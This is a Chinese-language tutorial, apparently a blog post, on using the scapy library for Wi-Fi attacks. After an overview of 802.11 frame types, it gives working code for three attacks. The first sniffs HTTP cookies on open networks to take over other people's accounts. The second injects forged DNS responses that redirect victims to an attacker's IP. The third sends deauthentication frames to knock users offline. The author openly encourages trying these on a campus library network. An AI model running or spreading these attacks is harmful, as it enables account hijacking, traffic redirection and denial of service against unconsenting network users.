Scapy

又是scapy,这是python的一个网络编程方面的库,它在wlan中也有很强大的应用。一般我们买块网卡,然后aircrack-ng套件爆破一下邻居的密码,其实我们可以用scapy写一些有意思的东西。

IEEE802.11

简述

这是WLAN的协议族,有80211b/g/n等等,协议中规定了不同类型的帧(也就是包的类型),分为数据帧、控制帧、管理帧。

控制帧是用来协调信道等提升数据通信可靠性的。

管理帧用来监督、管理加入和退出无线网络的包。

数据帧就是承载上层数据的包。

关系

这些帧和scapy中的数据包类的对应关系为:

Dot11                   三种帧通用的部分

Dot11Beacon        Beacon帧,ap用它来宣誓自己的存在

Dot11Elt               与Dot11Beacon一起出现,承载beacon帧中的数据

Dot11AssoReq     Association Request

Dot11AssoResp   Association Response

Dot11ProbeReq   Probe request

Dot11ProbeResp  Probe response

Dot11ReassoReq  ReassociationRequest

Dot11ReassoResp  ReassociationResponse   以上六个都是用来管理station和ap之间关系的管理帧

Dot11Auth            Authentication 申请认证身份

Dot11Deauth        Deauthentication  解除认证,可以用来dos攻击

Dot11WEP           无线链路承载的上层数据被加密后,放在这里

常见的样子(summary)

Beacon帧:

RadioTap / 802.11 Management 8L 11:11:11:11:11:11 > ff:ff:ff:ff:ff:ff / Dot11Beacon / SSID=’CMCC-EDU’ / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt

加密后的上层数据:

RadioTap / 802.11 Data 0L 11:11:11:11:11:11 > 22:22:22:22:22:22 / Dot11WEP

Deauth帧,用来把别人打掉线,很好用:

RadioTap / 802.11 Management 12L 11:11:11:11:11:11 > 22:22:22:22:22:22 / Dot11Deauth

未加密的数据帧,开放的wifi里的明文密码就在你的身边划过:

RadioTap / Dot11 / Dot11QoS / LLC / SNAP / IP / TCP 10.181.5.237:57556 > 124.116.181.82:http A / Padding

握手包,使用EAPOL协议:

RadioTap / Dot11 / Dot11QoS / LLC / SNAP / EAPOL EAPOL-Key / Raw / Padding

踩过的坑

系统环境

之前一直喜欢用kali,在优化代码的过程中发现嗅探无线数据包的时候,使用filter参数不能成功过滤到未加密的IP数据包(filter=’ip’)。

各种排查最后发现是操作系统的问题,在新装好的kali里也会出问题,但在ubuntu里是没有问题的。

无线环境

平时玩无线的时候当然想一上来看看赤裸的明文数据包,但有时候明明有开放的wifi,却一点明文数据包都抓不到。

受限于硬件,能处理数据包的速率是有限的,如果你周围非常多加密的wifi,很可能网卡就被Beacon帧和各种控制帧淹没了。

所以可以找一个开放wifi多的地方玩,学校图书馆就不错,我们无线校园网都是不加密的嘿嘿。

usb无线网卡

我买的网卡基本都是8187芯片的,淘宝京东都有,想挑一挑可以看看aircrack-ng的官网里的推荐。

天线的水很深啊,最好先买块便宜的玩玩再说。

先看看别人的cookie

scapy_http

这里又要介绍一个包啦,scapy_http是scapy的一个扩展。

平时我们抓到的包都是IP / TCP / Raw 这样的层次,对http协议的处理很不方便。

scapy_http增加了HTTP、HTTPRequest、HTTPResponse层。

pip安装就可以,import scapy_http.http as HTTP 在scapy之后导入就好。

嗅探

  sniff(iface='mon0', prn=lambda x:x.summary(), filter='tcp[13:1]==24')

过滤得到tcp flags为 PA的数据包,可以得到类似这样的结果

scapy在wlan中的应用-RadeBit瑞安全

里面满满的都是信息

for i in b:
    print i.Host + i.Path
    print i.Cookie
    print '======================================='

先直观的看一眼

scapy在wlan中的应用-RadeBit瑞安全

有很多app后台的请求,可以收集大量的数据包,然后过滤自己喜欢的host

然后把cookie转换成chrome接收的json形式,直接导入就可以登录别人的账号啦。

DNS MOST攻击

MOST

MITM(man-in-the-middle)我们经常听到,还有另一种man-on-the-side攻击方法,攻击者通过监听信道,通过时间差注入数据。

还可以用来DDOS

开放wlan中的DNS MOST

想要进行这种攻击,首先要监听信道,上面嗅探cookie已经说明这可以很容易做到。

然后是通过时间差注入,也就是我们要构造恶意的DNS响应包,并在服务器响应前将其返回给客户端

最后可以做到dns劫持一样的效果。

如何构造恶意dns响应

首先要想的是如何让客户端(在没有IDS的情况下)认为我构造的数据包就是服务器返回给他的。

也就是最基本的:

1. dns协议中的id段要从嗅探道的dns请求中取出来,并放到dns响应中去。

2. 其次是scapy中dns响应包的构造,返回自己服务器的ip。

3. dns请求的IP层的源端口目的端口、源ip目的ip都要交换

4. 80211协议层中的FCfield改为2,意为from-DS,也就是ap发送给station的数据包。

代码

from scapy.all import *

snif_iface = 'mon0'
recv_iface = 'mon0'
cheat_ip = '1.1.1.1'

def prn(pkt):
resp = RadioTap()/Dot11()/LLC()/SNAP()/IP()/UDP(sport=53)/DNS(qr=1,ra=1,ancount=1)

#取出DNS协议层的id
resp[DNS].id = pkt[DNS].id
#构造DNS数据层
resp.qd = pkt.qd
resp[DNS].an = DNSRR(rrname=pkt.qd.name, type='A', rclass='IN',
rdata=cheat_ip)

#交换各地址及端口
resp.FCfield = 2L
resp.addr1, resp.addr2, resp.addr3 = pkt.addr2, pkt.addr1, pkt.addr3
resp.src, resp.dst = pkt.dst, pkt.src
resp.dport = pkt.sport

sendp(resp, iface=send_iface, verbose=False, count=10)
print 'send response to %s for %s'%(resp.dst, resp.qd.qname)

if __name__ == '__main__':
sniff(prn=prn, filter='udp dst port 53', iface=snif_iface)

需要注意

1.  监听的网卡和注入数据包的网卡可以不是同一张,效率会更高

2. 过滤时使用filter参数效率会高很多很多,因为是在内核层面的过滤,使用BPF语法

3. sendp发包函数在链路层上发送数据,所以我们可以自定义80211的数据包。

4. sendp在发送的时候会自动计算好各协议层的校验和,如果你想resp = req.copy()这样构造响应包,一定要注意把各层的长度和校验和设置为None,让它在发送的时候重新计算,不然这个数据包是畸形的。我也写了用copy构造的脚本,但应该贴出的代码的行数更少一些。

5. 两块网卡都要设置在monitor监听模式,具体用airmon-ng等开启监听模式就不赘述了,但一定要注意network-manager、networking等服务对网卡的影响,必要时一定要stop。

最后如何把别人打掉线

Deauthentication帧

这是ap和station中用于中断连接用的帧,而且没有对数据包的来源进行验证。

所以我们可以用它来强制别人掉线,而且还挺不好防的嘿嘿(或者把我笔记本摔掉

代码

pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth()
sendp(pkt1)
sendp(pkt2)

可以先拿自己的手机试一下

其实aireplay -0 1 -a ap_mac -c client_mac iface 也是使用的deauth dos攻击迫使client重连获取握手包